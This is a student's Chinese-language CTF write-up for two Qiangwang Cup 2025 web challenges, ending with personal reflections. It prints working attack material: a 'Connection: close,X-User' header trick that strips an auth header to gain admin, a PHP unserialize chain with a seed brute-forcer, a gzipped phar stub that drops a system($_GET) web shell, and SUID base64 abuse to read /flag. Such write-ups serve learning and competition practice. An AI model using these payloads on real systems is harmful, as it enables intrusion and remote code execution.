强网杯 2025 部分web wp

image

这次我就做了两个web。跟V&N的兄弟们拿了个25名,勉强晋级决赛。这是V&N第一次打进强网正赛。我们创造了历史。

因为我时间比较紧张,就只写我做的两题了。

Web

2.Secret Vault

一个python的web app。flask。有个go的鉴权服务器。这个服务器有个后端,来自github.com/gorilla/mux,有一段签名逻辑,开在4444端口

go的鉴权服务器有个中间件。开在5555,会从主服务器(5000)中获取JWT密钥,验证并提取uid,然后删掉一些头:

1
2
3
4
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")

然后将X-User设置为uid。

客户机向主服务器(5000)交一段JWT的auth信息,通过过中间件处理后,会返回uid。如果中间件验证失败就是anonymous,也就是鉴权失败。

他这个主服务器上的鉴权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))

g.current_user = user
return view_func(*args, **kwargs)

return wrapped

如果获取失败uid就是0,uid是0的用户正好是admin。

1
2
3
4
5
6
user = User(
id=0,
username='admin',
password_hash=password_hash,
salt=base64.b64encode(salt).decode('utf-8'),
)

所以我们现在就是要想个办法让中间件的返回头里没有 X-User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main() {
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"

uid := GetUIDFromRequest(req)
log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")

if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}

我们传入:

1
Connection: close,X-User

此时不管中间件传回怎样的X-User值,在客户机与中间件的Connection被Connection Header给close掉之后,也根据RFC HTTP1/1的规范(为了向下兼容)将X-User置空。因此我们得到了空的X-User。

uid = request.headers.get('X-User', '0')中,我们得到了uid为0的用户的登录权限。

之后我们直接就能看到明文flag。

最后的包:

1
2
3
4
5
6
7
8
9
10
11
GET /dashboard HTTP/1.1
Host: 39.106.47.249:33002
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.106.47.249:33002/login
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlZ2lzdHJhdGlvbiBzdWNjZXNzZnVsLiBQbGVhc2Ugc2lnbiBpbi4iXX1dfQ.aPL-ZA.tZC2005ISCmkE8hJbh-zz9iu_qE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNCwibmJmIjoxNzYwNzU1MzA0LCJpYXQiOjE3NjA3NTUzMDQsInVpZCI6IjEifQ.gg-1I8lk7m-mvmWo0X7pSXY9auJQ31sn1G-gcUzRGro
Connection: close,X-User

flag{698d8138-f41d-4f03-9301-3b37f0b2dd7b}

3.EZ PHP

1
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));

base64解码后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
public $readflag;
public $f;
public $key;

public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) {
die("error");
}
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

我们正常走destruct看phpinfo

1
O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}

这里禁止了很多。但是因为源码里有system所以我们可以直接用system去RCE。这个WAF就绕过去了。

观察源代码 我们思路就是:

  • 传个文件(传什么文件过会再说)

  • 调用到匿名类的readflag 使readflag被声明

  • 直接调用readflag

好。现在的问题是怎么调这个匿名类的readflag。

匿名类遵循这样的规则:

%00 + 函数 + 路径 : 行号$序号

但是这里是eval里注册的,我们起一个示例看看。

1
2
3
<?php
eval('$b = new class{};');
echo get_class($b);

随便注册一个eval里的动态函数你就能发现:

1
class@anonymous/tmp/sandbox.s0-s0;c428,c730/home/.code.tio(2) : eval()'d code0x7f26184710c7

这个行号是eval()’d code+数字。别的是一样的。

这个eval函数在第一行(所以括号里的行号是1),同时eval解出来之后所有函数都堆在一行(所以$前面的行号是第一行),所以不难推出他这个名字是:

1
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$序号

还有就是,php反序列化时有:

1
$func = array('类名','函数名')

这样我们有匿名类类名就能调用到匿名类的readflag,这样就能声明到了。

很容易搓:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class test {
public $readflag;
public $f;
public $key;

public function __construct() {

}
}

$a = new test();
$a -> readflag = 名字;
$a -> f = 'test';
$a -> key = 'class';
$b = new test();
$b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
$b -> key = 'func';

echo serialize($a);
echo ' ';
echo serialize($b);

这里contruct里的东西全部都要删了。不然没法反序列化也没法序列化(php 7+)

搞完这个我们就可以稳定include了:

1
2
3
4
5
6
7
8
import requests
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'

pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

之后我们来想想这个文件传什么。

参考:https://fushuling.com/index.php/2025/07/30/当include邂逅phar-deadsecctf2025-baby-web/

同款构造方法。我们搞一个phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

改名为1,gzip压缩(不然你压缩完出来文件里有phar会被waf)

1
gzip 1

搞完1.gz 备用。

接下来我们就看看怎么去把phar搞到文件名里。这里我们发现:

1
2
$seed = $time . intval($filename);
mt_srand($seed);

filename可控。我们可以爆破种子去搞seed。使generateRandomString生成的文件名以phar开头。

这里直接找AI搓:https://chat.deepseek.com/share/u25k3dd01q3ly9h40t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
date_default_timezone_set('Asia/Shanghai');
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

// 获取当前时间(Hi格式)
$currentTime = date('Hi');
echo "当前时间: " . $currentTime . "\n";
echo "正在寻找前四个字符为 'phar' 的字符串...\n\n";

$found = false;
$attempts = 0;
$maxAttempts = 10000000; // 最大尝试次数,防止无限循环

// 尝试不同的整型后缀
for ($i = 0; $i < $maxAttempts; $i++) {
$attempts++;

// 构建种子:当前时间 + 整型数字
$seed = $currentTime . $i;

// 设置随机数种子
mt_srand((int)$seed);
srand((int)$seed); // 注意:generateRandomString 使用 rand() 而不是 mt_rand()

// 生成随机字符串
$randomString = generateRandomString(8);

// 检查前四个字符是否为 "phar"
if (substr($randomString, 0, 4) === 'phar') {
echo "找到符合条件的字符串!\n";
echo "种子: " . $seed . "\n";
echo "生成的字符串: " . $randomString . "\n";
echo "尝试次数: " . $attempts . "\n";
$found = true;
break;
}

// 每10000次显示一次进度
if ($attempts % 10000 === 0) {
echo "已尝试 " . $attempts . " 次...\n";
}
}

if (!$found) {
echo "在 " . $maxAttempts . " 次尝试内未找到符合条件的字符串。\n";
echo "建议:\n";
echo "1. 增加最大尝试次数\n";
echo "2. 检查当前时间是否已变化\n";
echo "3. 考虑使用更大的数字范围\n";
}
?>

这里记得设置时区!!!!!

然后我们就正常做就行,运行上面那个exp,爆破到当前分钟的种子:

然后把这玩意放到readflag属性里,上传1.gz:

1
2
3
4
5
6
7
8
9
import requests
# a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"104206";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}}
target = 'http://localhost:8000/'
a = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
b = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'

pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

直接传,搞到1.php的shell。发现/flag要提权。

我们这里找一下SUID提权:

1
find / -user root -perm -4000 -print 2>/dev/null

发现有base64。参考:https://gtfobins.github.io/gtfobins/base64/

1
base64 "/flag" | base64 --decode

flag{145f3a7d-5596-4fb3-8092-90c15ebd3171}

后记

后面是一些感想。

今年九月之后我正式步入中六(高三)的生活了。每天被试题淹没的我真的很缺如此一场酣畅淋漓的CTF恢复心态。这次是真爆肝了一整个周末。ezphp一题我从第一天下午2点看到凌晨3点,又从第二天7点看到下午3点才解出来。

感谢队友的一路陪伴。最近我考试特别多,也忙得晕头转向的,我没想到居然能从CTF这里找到如此大的鼓励和安慰。感谢V&N的师傅们这次在我的17岁留下如此的回忆,就像你们往常做的那样。

在和队里的pwn手和web手一起做出来go2php这道web pwn之后,我明白,CTF从来不是一个人的游戏。没有MVP,也没有躺赢狗。少一个人都赢不了比赛。这是我们热血沸腾的组合技。

热泪盈眶,不知所言。